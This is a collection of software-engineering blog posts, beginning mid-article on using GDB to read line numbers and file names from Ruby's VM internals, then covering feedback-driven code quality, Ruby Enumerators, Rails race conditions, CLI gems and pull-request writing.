So that's it then?! Well, no. The beginning position is listed as line 3 and the end position listed as line 5. That corresponds with the foo method in our sleep.rb program, but not the specific line the sleep call is on. This struct instead represents the scope or block that Ruby is executing in. In order to get the line number of the current line of code we have to do a bit more work and call the rb_vm_get_sourceline function:

(gdb) call rb_vm_get_sourceline(ruby_current_ec->cfp + 1)
$12 = 5

Hey, that was easy! Line 5 indeed corresponds to the sleep call so we know we're at the right place now. But how did rb_vm_get_sourceline get that from just the control frame pointer? Many of the helper functions that rb_vm_get_sourceline utilizes are inlined so we can't easily call them directly in GDB. What it boils down to though is that Ruby will do some pointer math with the current program counter pointer and the pointer to the encoded instruction sequence to calculate a position offset and then read into a bit-vector that represents the specific instruction we're interested in. The relevant definition of this bit-vector can be found in the iseq.c file, but a fair warning that it is heavy on the bitwise operations. The short of it is that this function will pull out the relevant iseq_insn_info_entry struct and then from there it can easily read the line_no field.

Getting a File Name

We have a line number now, but that's only half of the puzzle. In order to make sense of this we also need to know what file that line number refers to. In this case it's simple because we only have one file, but let's pretend that we have a bunch of source files and don't know which one to look at. How do we get the file name?

If we jump back to the iseq body print output from above, there's a pathobj field inside the location struct. From the definition of this struct we know that this is either a string or an array with two elements, the relative and absolute path, to the source code file.

typedef struct rb_iseq_location_struct {
    VALUE pathobj;      /* String (path) or Array [path, realpath]. Frozen. */
    VALUE base_label;   /* String */
    VALUE label;        /* String */
    int first_lineno;
    int node_id;
    rb_code_location_t code_location;
} rb_iseq_location_t;

Before we get into what's inside that pointer we need to take one more detour first and discuss how Ruby represents strings and arrays internally. The strings and arrays in this case are not your run of the mill C strings & arrays but rather Ruby's wrappers around them. That is, the internal data structure it uses to store your string when you create one in a Ruby program.

These are represented in Ruby through the RString and RArray structs. The struct definitions of each of these are well commented and have some handy info to help understand them better. What we need to know for our purposes here though is two fold:

RString and RArray have optimizations where for small strings/arrays the values of those strings/arrays will be stored in the struct directly rather than using a pointer to a separate block of memory (embed / ary below rather than ptr). As we'll see further below, the filenames used in this example fall under that size limit. But if you're replicating this and have a filename of sufficient length the actual content of the string may be in a slightly different location.
All of Ruby's internal object representations include a struct called RBasic which holds information about the class it represents and some flags. In effect, internally Ruby objects look something like the following diagram:

With that said, let's just jump into getting the filenames:

# Relative path:
(gdb) call (char*)(
  (struct RString*)(
    (struct RArray*)(
      ruby_current_ec->cfp+1).iseq->body.location.pathobj
    ).as.ary[0]
  ).as.embed.ary
$12 = 0x7faedac1cf50 "sleep.rb"

# Absolute path:
(gdb) call (char*)(
  (struct RString*)(
    (struct RArray*)(
      ruby_current_ec->cfp+1).iseq->body.location.pathobj
    ).as.ary[1]
  ).as.embed.ary
$13 = 0x7faed9f5a0d8 "/tmp/sleep.rb"

And there's our filename! But, whew, that's quite the reach into a data structure there. Let's break that down.

First, we get the pathobj pointer from the iseq location struct with ruby_current_ec->cfp+1).iseq->body.location.pathobj. This part should be fairly familiar by now.
Next, we know from the Ruby source comment that this pointer is either an RString or an RArray so we need to tell GDB how to interpret the memory it points to. In this case, it's an RArray.
Then, as mentioned above, the array values are small enough to be embedded in the RArray struct directly so the as.ary[0] field is read. This is another pointer; this time to an RString.
Lastly, we again need to cast it to an RString and then we can read its embedded value, as.embed.ary. One more cast to a plain 'ole char* gets the final string value of the source's filename.

Before wrapping up, let's take a quick look at the representation of the RArray and RString values to see how they compare to the diagram of these structs from above:

# RArray:
(gdb) p/x *((struct RArray *)(ruby_current_ec->cfp+1).iseq->body.location.pathobj)
$14 = {
  basic = {
    flags = 0xa00012807,
    klass = 0x7f42be3514b8
  },
  as = {
    heap = {
      len = 0x7f42bee9ce80,
      aux = {
        capa = 0x7f42b9a4a008,
        shared_root = 0x7f42b9a4a008
      },
      ptr = 0x0
    },
    ary = {0x7f42bee9ce80}
  }
}

# RString:
(gdb) p/x *((struct RString*)((struct RArray*)(ruby_current_ec->cfp+1).iseq->body.location.pathobj).as.ary[0])
$15 = {
  basic = {
    flags = 0xa20500805,
    klass = 0x7f42be35ed98
  },
  as = {
    heap = {
      len = 0xe,
      ptr = 0x6c732f656e616873,
      aux = {
        capa = 0x62722e706565,
        shared = 0x62722e706565
      }
    },
    embed = {
      len = 0xe,
      ary = {0x73}
    }
  }
}

The two structs here are fairly similar with the embedded ary and embed fields. If the value is too large for those then the heap field is used instead. Of course, the values in here are mostly pointers or junk values, but nevertheless it's an interesting look into the internal data structures that back your strings and arrays when using them in Ruby-land.

There are endless more rabbit holes to go down for further exploration into Ruby's internals here, but at this point we've accomplished the goal of peering inside of a running Ruby process from GDB to see what it is executing which makes for a good stopping point. This is barely scratching the surface of how Ruby executes your code. If this topic is interesting and you're looking for further reading, Pat Shaughnessy's book Ruby Under a Microscope does an excellent job of covering all of the nitty gritty details on Ruby's implementation. It targets Ruby 1.9 & 2.0 which are fairly dated now, but the core concepts remain the same making it definitely still worth the read.

If you want to read more of Shane Tully's excellent work, check out his blog!

More feedback! Quantity becomes quality

Kyle d’Oliveira — Thu, 16 Nov 2023 00:00:00 GMT

In David Bayles and Ted Orland's book, Art & Fear, there's a captivating story that has always stuck with me. This is a story that highlights a timeless argument: quantity versus quality. It goes like this:

"[A] ceramics teacher announced on opening day that he was dividing the class into two groups. All those on the left side of the studio would be graded solely on the quantity of work they produced, while those on the right would be graded solely on its quality...

Well, came grading time and a curious fact emerged: the works of highest quality were all produced by the group being graded for quantity. It seems that while the 'quantity' group was busily churning out piles of work — and learning from their mistakes — the 'quality' group had sat theorizing about perfection, and in the end had little more to show for their efforts than grandiose theories and a pile of dead clay."

This story isn't just about art. It's a lesson that extends to the realm of engineering, where quality and quantity are often perceived as opposing forces. Initially in my career, I thought achieving high-quality results required a significant investment of time. However, over time I discovered that the ceramics teacher's story can be applied to software engineering — a field that, much like art, is subjective and reliant on experience to distinguish "good code" from the rest.

Good code is more than just functional — it's maintainable, extensible, secure, and reliable. The best way to learn how to write such code is by either experiencing the consequences of poor code quality or learning from the experiences of others who have already learned those lessons.

In a previous role as a developer manager overseeing over 25 engineers, I witnessed a pattern that further reinforced the notion that quality and quantity are not necessarily at odds. Some engineers focused on perfection, aiming for flawless code. It's often said that "perfect is the enemy of good," and indeed, those engineers produced fewer lines of code but strived to maintain a high quality standard. On the flip side, some engineers were obsessed with producing and reviewing as much code as possible, quickly working through task lists. Those "quantity" engineers initially faced more bugs and required additional oversight, especially while getting started in their careers.

At first glance, it seemed like a classic case of quality versus quantity. However, what sets the two groups apart is the volume of feedback. What the ceramics teacher discovered in the story is the same story I saw with these engineers. The "quantity" group received abundant feedback because they produced and reviewed more work, ultimately improving their code quality over time much faster than the "quality" group.

It's not a battle of quality against quantity. Effectively, in software engineering, the more feedback you can receive, either through self-reflection or from others, the more you can learn and improve the quality of your work. There are also many ways to generate feedback. Here are some suggestions:

Do code reviews

Most people are used to addressing feedback on their own code. But when someone makes a comment, it is worth thinking about why the reviewer made that comment. It could be that the reviewer is leaning into some experience they can share. However, it is also important to get feedback on your ability to review code as well. Having two reviewers is an amazing tactic most teams can do. Not only does this provide additional feedback for the code writer, but it also gives an opportunity for the reviewers to get feedback from each other. Someone unfamiliar with an area of code might miss something, but when they can see someone else comment on it, it becomes an opportunity for both the reviewer and the writer to learn something.

Monitor deployed code

When your code goes out, how do you know it is working? And working well? It is always worth monitoring your features and looking for bugs and performance regressions, or just looking at adoption metrics. What you notice while monitoring can help you, the author, understand what slipped through so you can learn and improve. You can then share these learnings with your team and your code reviewers. Thinking about how you will observe whether things are working correctly or not ahead of time can also have a big impact on the quality of the code you write.

Debug unfamiliar areas of the code

In my experience, it is common for people unfamiliar with certain areas of the code to do what they can to avoid them altogether. Unfortunately, the end result of that tactic is the code area will stay unknown. Bugs, either discovered by your customers or error tracking software, can help guide you in where to explore. By jumping into unfamiliar areas of code, even if you do not "solve" the bug, you can learn new areas of the code, tricks for getting up to speed quickly, and debugging techniques. You might even identify where developer tooling is lacking. By stepping into an area that is a little outside of your comfort zone, your comfort zone will expand.

Create more pull requests

Pull requests don't need to happen at the end once all development is completed on a feature. Get your work in front of people fast. It is much easier to pivot early on than in the later stages. You can break a feature into small sections and ask for feedback on each piece, or get some eyes on your code early with a demo or code walkthrough. To go with the previous point, tackling bugs in unfamiliar areas of code is another way to start getting incremental feedback. And if you haven't gotten feedback on your work in a few days, then you should try to go gather some soon.

Keep in mind — the more complex a pull request is, the harder it is to review. The reviewer will need to maintain a lot of context which can lead to a shallow depth of the review. Or, it will take a long time to complete. The easier you make the pull request to review, the better feedback you are going to receive the easier it will be to find bugs.

Grouping pull requests on a single type of change is one way you can break large pull requests apart. One way to do this might be to have a single pull request that refactors a complex piece of code without modifying or changing the existing behavior, then a follow-up pull request with just the new changes. Another way might be to write up a pull request that is just a model and a database migration, then another for the controller and unit tests, followed by another with the UI and integration tests. Remember that pull requests can be stacked on top of each other. And just because it is a self contained piece doesn't mean that it is going to be deployed.

Share your mistakes

This isn't about blame or keeping a record of who messed up. By sharing your mistakes, your team might be able to identify and avoid those same mistakes too. Explaining what went wrong or what things you missed also helps to solidify your internal learning. Based on the lesson, you could share it at various levels — with the people who reviewed your code, your team, or the entire department.

Aiming for feedback quantity instead of quality might be a big shift. But in reality, you are still focusing on quality.

The goal is to use feedback, whether you give or receive it, to vastly increase your skills and the pace of your learning. Regardless of what you are working on, think about how and when you can get feedback on it. It is worth discussing with your team all of the various ways you can do this.

Engineering is a team effort that requires cooperation from everyone. But you can lead by example here. If you give solid feedback to others, you can supercharge your team's focus on quality. This can become a virtuous cycle where a supercharged teammate will provide great feedback to you or others in return. Everyone wins and everyone gets better.

At the end of the day, quality and quantity are desirable goals and they are both achievable. Churn out lots of code, learn from mistakes and the experiences of others, and you'll have high quality code too. That way, you can all have much more to show than grandiose theories and a pile of dead code.

Ruby enumerables considered helpful

Justin Weiss — Fri, 29 Sep 2023 00:00:00 GMT

Ruby's Enumerable methods help you make powerful code simple — by filtering, transforming, and processing data like the best engineers do. These methods are available on Arrays, Hashes, and many (many) other objects, and similarly-named methods are available on even more. If you don't already know these methods well, then the most valuable time you can spend in Ruby is on mastering them.

But not all data can take advantage of Enumerable methods, at least not directly. What if you don't have an Array or Hash? Can you still use the Enumerable methods? With all the time you spent becoming an Enumerable master, wouldn't it be nice if you could treat more things like Enumerables — like lists of items across multiple pages, or even items that slowly stream in from an API over time?

Ruby's Enumerator class is exactly what you need to do this. It's not the easiest thing to understand, but a few examples can show you how to use it in your own applications.

Automatic pagination

Sometimes your data seems like a natural fit for an Enumerable, but it doesn't quite work. What if you're using an API that paginates? The best you can get is an Enumerable per page, which makes it annoying to work with multiple pages at once. You could fetch all the pages and then flatten the list of lists… But now you're always fetching all the data (even if you don't need it) and you have to wait for every page to load before you can do anything.

Instead, wrap your API calls in an Enumerator:

def paginated_list(initial_url, params = {})
  url = initial_url

  Enumerator.new do |yielder|
    # ...
  end
end

This returns an Enumerator, an object that can be used like an Enumerable, responding to all of the core Enumerable methods you know and love: map, filter, first, and all the rest.

When you call a method like map on that Enumerator, that method will ask for the next object as it needs it. When asked, the body of the Enumerator yields the next object using the yielder:

def paginated_list(initial_url, params = {})
  url = initial_url

  Enumerator.new do |yielder|
    loop do
      response = get(url, params)

      body = response.body

      # Yield each result to the caller
      body["results"].each { |result| yielder.yield(result) }

      break if last_page?(body)

      # get ready to fetch the next page
      url = next_page_url(body)
    end
  end
end

This Enumerator makes the request for the first page. Then, any time a record is needed from the first page, the Enumerator yields it to the caller. When you run out of records on the first page, the Enumerator fetches the next page and so on until you run out. If you don't need the next page, it won't fetch it.

How does this look for the caller?

paginated_list("/things").filter { |t| t["selected"] == "true" }.sort_by { |t| t["name"].downcase }

Easy — you don't even have to care that the data spans multiple pages across multiple API requests. From the caller's point of view, it's just an ordinary list.

Save a block for later

While working on the Aha! AI writing assistant, we had two different ways of working with AI responses. For development and testing, the response should be returned all at once because it is easier to work with. For a user, though, it feels better for the response to arrive incrementally — streaming in so you can know early on if you're getting the result you wanted.

Everything else was exactly the same, except for how the response was dealt with. In one case, a string was returned. In another, bits of a string were yielded to the caller as they came in:

client = Client.new(stream: stream?)

# Burst response
response = client.get(query: params[:query], context: params[:context] ...)
render json: { text: response }

# Stream response

# all kinds of streaming setup work
client.get(query: params[:query], context: params[:context] ...) do |chunk|
  # stream chunk to browser
end
# all kinds of streaming teardown work, stream error handling, etc.

This is fine. But the API method calls look exactly the same, except one takes a block and the other doesn't. And for streaming, you have extra work to do before and after the method call.

It's hard to untangle this. You could pass around lambdas, get could ignore a lambda parameter in stream mode, you could wrap the setup and teardown in its own block:

client = Client.new(stream: stream?)

response = streaming_setup(stream?) do
  client.get(query: params[:query], context: params[:context]) do |chunk|
    # stream chunk to browser
  end
end

render json: { text: response } unless stream?

Maybe this will work. Again, it's fine. But this is Ruby, so we can do better than fine.

Object#to_enum is a method available on any object. You give it a method name and arguments and it returns an Enumerator. Whenever that Enumerator is enumerated, it will call the method you gave it, on the object you called it on, with the arguments you gave it, and it will pass along anything your method yields as the next value of the Enumerator.

At first, it's hard to see how this is useful. In practice, this means you can capture the arguments a method was called with, but defer needing the block the method yields to until the part that processes your data needs it.

Using to_enum, the caller can now look like this:

def show
  client = Client.new(stream: stream?)

  response = client.get(query: params[:query], context: params[:context])

  if stream?
    stream_response response
  else
    render json: { text: response }
  end
end

def stream_response(response)
  # all kinds of setup work
  response.each do |chunk|
    # stream each chunk to browser as it arrives
  end
  # all kinds of teardown work, stream error handling, etc.
end

client.get now returns either a string or an Enumerator. If it's an Enumerator, it will yield each part of the response as it's received. Because this code no longer needs the block at the same time as the arguments, all of the logic around streaming a response can go somewhere else. This is much less tangled up than the last version. How is this possible? By using to_enum in the client when it's not given a block:

class Client

  def initialize(stream:)
    @stream = stream
  end

  def get(query:, context:, &block)
    if @stream
      get_stream(query, context, &block)
    else
      get_burst(query, context)
    end
  end

  def get_stream(query, context, &block)
    return to_enum(:get_stream, query, context) unless block_given?

    some_api_request do |chunk|
      # ...
      yield chunk
    end
  end

  def get_burst(query, context)
    # nothing interesting here, just a basic request and response
    response
  end
end

If the client is in streaming mode and isn't given a block, get_stream returns an Enumerator that calls get_stream with a block. The yielded chunk is passed back through to the Enumerator when the caller, or any other code that the caller hands the Enumerator to, uses it.

This pattern — decoupling the place where you need the arguments from the place where you have the block — becomes even more powerful the further apart those places are separated. It's a nice pattern to understand, and it's possible because of Enumerators.

Enumerators can be tricky at first. It's hard to see the use when you read about them in the docs. But they have an amazing ability to wrap Ruby code into objects that take advantage of the full power of Enumerable methods. It's valuable to use the knowledge you already have in more places, and Enumerators will help you do exactly that.

Off to the races: 3 ways to avoid race conditions

Kyle d’Oliveira — Thu, 24 Aug 2023 00:00:00 GMT

What is a race condition?

I searched for a good definition of a race condition and this is the best I found:

A race condition is unanticipated behavior caused by multiple processes interacting with shared resources in a different order than expected.

This is quite the mouthful and it is still not very clear how race conditions show up in Rails.

Using Rails, we are always working with multiple processes — each request or background job is an individual process that can operate mostly independent of other processes.

We are also always working with shared resources. Does the application use a relational database? That's a shared resource. Does the application use some kind of caching server? Yup, that's a shared resource. Do you use some kind of external API? You guessed it — that's a shared resource.

There are two example categories of race conditions that I would like to talk about and then touch on how to approach addressing them.

Read-modify-write

The read-modify-write category is a type of race condition where one process will read values from a shared resource, modify the value within memory, and then attempt to write it back to the shared resource. This seems very straightforward when we look at it through the lens of a single process. But when a second process comes up, it can result in some unanticipated behavior.

Consider code that looks like this:

class IdeasController < ActionController::Base

  def vote
    @idea = Idea.find(params[:id])
    @idea.votes += 1
    @idea.save!
  end

end

Here we are reading (Idea.find(params[:id])), modifying (@idea.votes += 1), then writing (@idea.save!).

We can see that this would increment the number of votes on an idea by one. If there was an idea with zero votes, it would end with having one vote. However, if a second request came in and read the idea from the database while it still had zero votes and incremented that value in memory, we could have a situation where two votes come in simultaneously — yet the end result is that the number of votes in the database is only one.

This is also referred to as the lost update race condition.

Check-then-act

The check-then-act category is a type of race condition where data is loaded from a shared resource, and depending on the value present, we determine if an action needs to be performed.

One of the classic examples of how this shows up is in the validates_uniqueness_of validation in Rails, like this:

class User < ActiveRecord::Base
  validates_uniqueness_of :email
end

Consider code that looks like this:

User.create(email: "demo@example.com")

With the validation in place, Rails will check if there is any existing user with that email. If there is no other, it will act by persisting the user into the database. However, what would happen if a second request was executing the same code at the same time? We could end up in a situation where both requests check to determine if there is duplicate data (and there is none) — then they will both act by saving the data, resulting in a duplicate user in the database.

Addressing race conditions

There is no silver bullet for fixing race conditions, but there are a handful of strategies that can be leveraged for any particular problem. There are three main categories for removing race conditions:

1. Remove the critical section

While this could be viewed as deleting the offending code, sometimes you can refactor the code so that it isn't vulnerable to race conditions. Other times, you can look into atomic operations.

An atomic operation is one where no other process can interrupt the operation so you know it will always execute as a single unit.

For the read-modify-write example, instead of incrementing the idea votes in memory, they could be incremented in the database:

@ideas.increment!(:votes)

That will execute sql that looks like this:

UPDATE "ideas" SET "votes" = COALESCE("votes", 0) + 1 WHERE "ideas"."id" = 123

Utilizing this would not be subject to the same race conditions.

For the check-then-act example, instead of allowing Rails to validate the model, we could insert the record directly into the database with an upsert:

User.where(email: "demo@example.com").upsert({}, unique_by: :email)

That will insert the record into the database. If there is a conflict on email (which would require a unique index on email) it will simply ignore the insert.

2. Detect and recover

Sometimes you cannot remove the critical section. It is possible there may be an atomic action, but it doesn't quite work in a way that the code requires. In those situations, you can try a detect and recover approach. With this approach, safeguards are set up that will inform you if a race condition happened. You can either gracefully abort or retry the operation.

For the read-modify-write example, this could be done with optimistic locking. Optimistic locking is built into Rails and can allow detection of when multiple processes are operating on the same record at the same time. To enable optimistic locking, you only need to add a lock_version column to your table and Rails will automatically enable it.

change_table :ideas do |t|
  t.integer :lock_version, default: 0
end

Then when you attempt to update a record, Rails will only update it if the lock_version is the same version it was in memory. If it isn't, it will raise a ActiveRecord::StaleObjectError exception, which can be rescued to handle it. Handling it could be a retry or it could just be an error message reported back to the user.

def vote
  @idea = Idea.find(params[:id])
  @idea.votes += 1
  @idea.save!
rescue ActiveRecord::StaleObjectError
  retry
end

For the check-then-act example, this could be done with a unique index on the column, then rescuing the exception when persisting the data.

add_index :users, [:email], unique: true

With a unique index in place, if data already exists in the database with that email, Rails will raise an ActiveRecord::RecordNotUnique error and that can be rescued and handled appropriately.

begin
  user = User.create(email: "demo@example.com")
rescue ActiveRecord::RecordNotUnique
  user = User.find_by(email: "demo@example.com")
end

Idempotency

In order to retry actions, it is important that the entire operation is idempotent. This means that if an operation is performed multiple times, the result is the same as if it was only applied once.

For instance, imagine if a job sent out an email and it was performed whenever an idea's votes were changed. It would be really bad if an email was sent out for each retry. To make the operation idempotent, you could hold off sending the email until the entire voting operation was complete. Alternatively, you could update the implementation of the process that sends the email to only send the email if votes changed from the last time it was sent out. If a race condition occurs and you need to retry, the first attempt at sending an email might result in a no-op and it is safe to trigger it again.

Many operations might not be idempotent — such as enqueueing a background job, sending an email, or calling a third party API.

3. Protect the code

If you cannot detect and recover, you can try to protect the code. The goal here is to create a contract where only one process can access the shared resource at a time. Effectively, you are removing concurrency — since only one process can have access to a shared resource, we can avoid most race conditions. The tradeoff though is that the more concurrency is removed, the slower the application can be as other process will wait until they are allowed access.

This could be handled using pessimistic locking that is built in with Rails. To use pessimistic locking, you can add lock to queries that are being built, and Rails will tell the database to hold a row lock on those records. The database will then prevent any other process from obtaining the lock until it is done. Be sure to wrap the code in a transaction so the database knows when to release the lock.

Idea.transaction do
  @idea = Idea.lock.find(params[:id])
  @idea.votes += 1
  @idea.save!
end

If row-level locking isn't possible, there are other tools such as Redlock or with_advisory_lock that could be used. These will allow locking an arbitrary block of code. Using this could be as simple as something like this:

email = "demo@example.com"
User.with_advisory_lock("user_uniqueness_#{email}"} do
  User.find_or_create_by(email: email)
end

These strategies will cause processes to wait until a lock is obtained. So, they will also want to have some form of timeout to prevent a process from waiting forever — as well as some handling for what to do in the event of a timeout.

While there is no panacea for fixing race conditions, many race conditions can be fixed through these strategies. However, each problem is a little different, so the details of the solutions can vary. You can take a look at my talk from RailsConf 2023 that goes more into detail about race conditions.

CLI tools at Aha!

Steve Lamotte — Thu, 10 Aug 2023 00:00:00 GMT

Take your command-line utilities to the next level with these Ruby gems

Ruby has always been a great general-purpose scripting language and is often used to create command-line utilities. Many of these use the excellent Thor gem to parse command-line options, but there's no escaping one fact: command-line utilities just aren't interesting. Never have been, never will be.

However, since Ruby was released in 1995, developers have created some clever and useful libraries for making command-line utilities simpler to use, look at, and code.

I love creating command-line utilities

I am part of the Aha! platform team. Our primary focus is ensuring system reliability, but we are also responsible for providing developer tooling for the rest of the engineering team. One of our main tools is the ops command-line utility that performs many mundane yet important tasks to simplify processes for our engineers. Here are a few examples:

ops ecs deploy deploys an application to an AWS ECS environment
ops ecs ssh launches a shell on an existing application container
ops ecs shell spins up a new application container and launches a shell there

As we make updates to our ops and similar CLI utilities, we often improve the user experience by taking advantage of various Ruby gems. With little effort compared to low-level coding with curses, our command-line utilities that used to be cryptic and confusing are now interactive, easy to use, and — dare I say — elegant.

Let's talk about a few of these "gems." 😆

1. `cli-ui`

I really enjoy using the cli-ui gem. It offers a lot of powerful, intuitive features including:

spinners: provide feedback that something is happening (e.g., track the progress of multi-threaded operations)
frames: clearly demarcate logical groups of output including the ability to nest frames within each other
prompts: provide a powerful UI for displaying and selecting a list of choices
text formatting: provides several helpers to make text formatting quick and easy

When we deploy code at Aha! we kick off a number of AWS CodeDeploy tasks running in parallel. Here's some code to simulate deployment:

require 'cli/ui'

def deploy(build)
  CLI::UI::StdoutRouter.enable
  CLI::UI::Frame.open("Deploying Aha! build #{build}", color: :blue) do
    CLI::UI::SpinGroup.new do |spin_group|
      spin_group.add("pod1") { sleep 2 }
      spin_group.add("pod2") { sleep 3 }
      spin_group.add("pod3") { sleep 1 }
    end
  end
  puts ;
rescue StandardError => e
  puts CLI::UI.fmt "{{red:Deploy failed: #{e.message}}}"
end

deploy "123"

This produces the following output:

Obviously, our deploys aren't quite this fast or simple. But you can imagine how useful it would be to see output with feedback like this when you have dozens of long-running threads executing in parallel, like our real deploys.

2. `terminal-table`

I used to write a lot of custom code to format tabular data in my CLI utilities. Thankfully, that stopped once I discovered terminal-table.

This gem is very easy to use and can process arrays as well as CSV data. Here's a quick example showing how simple it is to create nicely-formatted tabular data:

require 'terminal-table'

table = Terminal::Table.new do |t|
  t.title = "Shipment Summary"
  t.style = { border: :unicode_round }
  t.headings = ["Product", "Quantity", "Unit Price"]
  t.rows = [
    ["Apples", 500, "$1.99"],
    ["Milk 2% 4l", 100, "$4.99"],
    ["Rye Bread", 25, "$3.99"],
  ]
  t.align_column(1, :right)
  t.align_column(2, :right)
end
puts table

The output is simple yet quite aesthetically pleasing:

Not too shabby!

3. `ombre`

Finally, here is a nice little gem created by Aha! director of software engineering, Justin Paulson. Ombre provides a fun way to spice up your output by rendering text with a gradient. Here's an example that prints zombie ipsum with a red, white, and blue tint:

require 'ombre'

puts Ombre.horizontal(<<TEXT, ["FF0000", "FFFFFF", "0000FF"])
**********************************************
* Zombie ipsum brains reversus ab cerebellum *
* viral inferno, brein nam rick mend grimes  *
* malum cerveau cerebro. De carne cerebro    *
* lumbering animata cervello corpora         *
* quaeritis. Summus thalamus brains sit,     *
* morbo basal ganglia vel maleficia?         *
**********************************************
TEXT

This produces a colorful output:

We use Ombre to display a banner when we launch CLI tools that help us create pull requests:

While this banner doesn't add any measurable value to our utility, it helps reinforce a sense of team spirit every time it's displayed.

Be sure to add these new gems to your Ruby command-line arsenal. They have great documentation — and are fun to use — adding a little panache to your command-line utilities.

12 Tools for Quality Pull Requests

Chris Zempel — Tue, 27 Jun 2023 00:00:00 GMT

As you stare into an empty text field, the blinking cursor invites you to engage in a crucial part of being a professional software engineer — writing a pull request. What will you write? Almost every idea you will come up with is downstream of the habits you've cultivated and the information you've consumed. Your attention to your upstream (or lack of) will define your practice — your customary, habitual way of doing something.

How is your practice of writing pull requests? On one hand, you will improve as you engage in shipping work as part of a team because you'll be repeating the act of writing and reading pull requests. On the other, occasionally applying conscious and deliberate attention to your practice will yield large and rapid improvements. This is when you work on your upstream — the habits, tools, and techniques you lean on when you start authoring a pull request. Often, this is harvesting your experience to see and think in relevant ways you couldn't before. Sometimes, though, the world sees fit to make it really easy on you.

My teammates recently put out some pull requests which were so nice they (metaphorically) shook me by the shoulders and shouted "you should also be doing this!" Before I can share with you exactly what they did, you must also understand a fuller picture. Sometimes beauty is the lack of something. Appreciating the lack of something is hard if you don't know it is supposed to be there. But when you understand the goals of writing a pull request, it then becomes possible to know which elements you can remove.

What is a quality pull request?

Quality means consistently meeting spec. For our pull requests, this means "do I have the right reviewers?", "do reviewers have all the information they need?", and "will someone looking at this in the future be able to access the 'what' and 'why' behind the 'how' of this implementation?"

Notice these are questions, not advice. Questions are resilient and adaptable to context. Advice is brittle. The best tools to keep in your upstream are the right questions.

Also notice this has nothing to do with "perfect." While it is tempting to focus on how you can write the perfect pull request, this is the wrong question. A focus on perfectionism is a great way to hide, hedge, and never ship. Or, perhaps more insidious, continually spend lots of wasteful effort when you could instead be learning how to achieve the same effect with less effort.

The goal is a durable, refined practice you can lean on to write a pull request that meets spec in the shortest amount of time.

Tools for writing pull requests

Here is a cheat sheet I use to write quality pull requests, quickly. And below I explain my thought process for each question so you can start using this in your own work.

#Cheat Sheet

On Writing

Do I have all the right reviewers?
Do reviewers have all the information they need?
Is my information organized in descending levels of scale?
Will someone looking at this in the future be able to access the "what" and "why" behind the "how" of this implementation?
Can I clarify my title for other contexts using prefixes, conventions, or other keywords?
Is there supplementary information I could add as footnotes?

Using Details Tags

You can hide nonessential information using details.

Example:

<details><summary>Toggle me!</summary>Peek a boo!</details>

Adding Footnotes

Here is a simple footnote[^1]. With some additional text after it.

[^1]: My reference.

On Structural Artifacts

Should I include some kind of diagrams, illustrations, or screenshots?

✅ substantially modifies code with a lot of branches of essential complexity
✅ includes a large amount of discrete before/after states
💡Integrate this element of your practice earlier into your development to minimize effort

On Responding

Am I coming at this from the right mental frame?
Does my feedback block approval?
Could this be phrased as a question or observation?
Is this a nit?
Does my review include something I like?
If you don't know what to say but you like it, just use ✨.

Going deeper

Do I have all the right reviewers?

Maybe security, or your platform team should look at this. Perhaps this change will impact another team's functionality, or there's a specific subject matter expert who will be able to tell you information you didn't even know you should think about.

Do reviewers have all the information they need?

This is figuring out what information you need to include. One big tell you should mention something is when you're surprised by a piece of information not otherwise indicated in the code. At the least, this information should be present in your pull request. Other information that's usually good to include? The strategies you used to implement, and maybe even the ones you tried and then threw away. Perhaps it is worth explaining the behavior of the system prior to your change.

Ultimately, how well you do this depends on your wisdom. Wisdom is the ability to correctly predict the future in a specific context. Pay attention to what questions you're asked and what information others seek. Over time, you will learn what you don't need to say. I've noticed that at Aha! we often don't need to include lots of detail on bug fix pull requests. There is the problem, a link to the bug tracker, and a fix contained in the pull request. Unless the fix is nonintuitive, this often adequately expresses all the information a reviewer needs to make an informed decision.

Is my information organized in descending levels of scale?

You've determined what information needs to be present. Now you must determine how to arrange it. This generally means some combination of:

Prior system behavior — useful in pull requests addressing bugs with nonobvious fixes
What the key abstractions are and why they were introduced — provides a mental anchor for your reviewers to understand and contextualize what code they are seeing
Little big details — is there system behavior, or other finer-scale details which have an impact on the large-scale design of the system? This is worth prioritizing and highlighting earlier on.

Will someone looking at this in the future be able to access the "what" and "why" behind the "how" of this implementation?

This presupposes you have a system in which you track your work. In each pull request, we link back to the record which caused the work. Many of us include the record's reference identifier in our commits, and we have an in-house CLI tool which will conveniently branch off wherever we're at and include the reference identifier in our branch name (and thus our default pull request name). Internally, we colloquially refer to these records as "features."

If you have never had this experience, let me tell you: it is amazing. Being able to look through the contents and history of the shaping feature allows you to understand what was intended by the code change and why the change was introduced. Knowing this has helped unstick me many many times because I am able to confidently distinguish what code we no longer need and what we must keep.

Instantly recalling context from people I've never met 5+ years ago is just cool. I've started using Aha! Develop for personal work and side projects for access to this form of extended personal/organization recall.

With these bases covered, let's look at ways you can represent finer scale details.

Can I represent this detail with a comment?

When there is detail which only makes sense when you're also considering some specific code, include the detail in the code. For example:

"The space that needs to be added to text is now added <other place>."

Or perhaps you've introduced a finer-scale abstraction or refactor that's only worth calling out the first time a reviewer will reach that line of code.

We do if information.fetched? && information.company_name? many times in the templates, so I'm adding a convenience method.

Can I hide nonessential information using `<details>` ?

If there are pieces of information in your pull request that aren't essential for the first time someone's reading it, you can hide the information inside a <summary> component. I often use this for quick scripts to set up the system in a certain state, or for deeper explanations of a given topic.

<details>
  <summary> How do `details` work? Simple. </summary>

  You have your summary, and your details.
</details>

How do `details` work? Simple.

You have your summary, and your details.

Is there supplementary information I could add as footnotes?

GitHub added support for markdown footnotes. This is a great feature that lets you include supplementary information which does not fit well inside the main text.

Quick reference:

Here is a simple footnote[^1]. With some additional text after it.

[^1]: My reference.

More advanced use, sourced from the linked GitHub post

Should I include some kind of diagram, illustration, or screenshot?

If your pull request substantially modifies code with a lot of branches of essential complexity or includes a large amount of discrete before/after states, consider building some sort of informational aid for your reviewers.

I've found myself reaching for whiteboards on multiple features recently. Whiteboards make it really easy to flowchart and enumerate the intended execution.

Even just in GitHub-flavored markdown alone, you can create some pretty incredible pull requests.

Putting these together during development while the information is already in your head isn't a lot of extra effort for you. Doing so can produce a tremendous reduction in effort for your reviewers.

When revisiting older code, a visual cue can quickly remind the reader what this feature looks like, and trigger memories about related context they might have.

Can I clarify my title for other contexts?

Often your pull request's title will be the main piece of information that others see in systems outside where you keep your code.

When I have a feature that spans multiple repositories, I often update my titles to include the repo name in brackets up front so it's easy to keep straight.

PIZZA-2022 [pizza-design-system]: upgrade toppings to level Infinity and Beyond
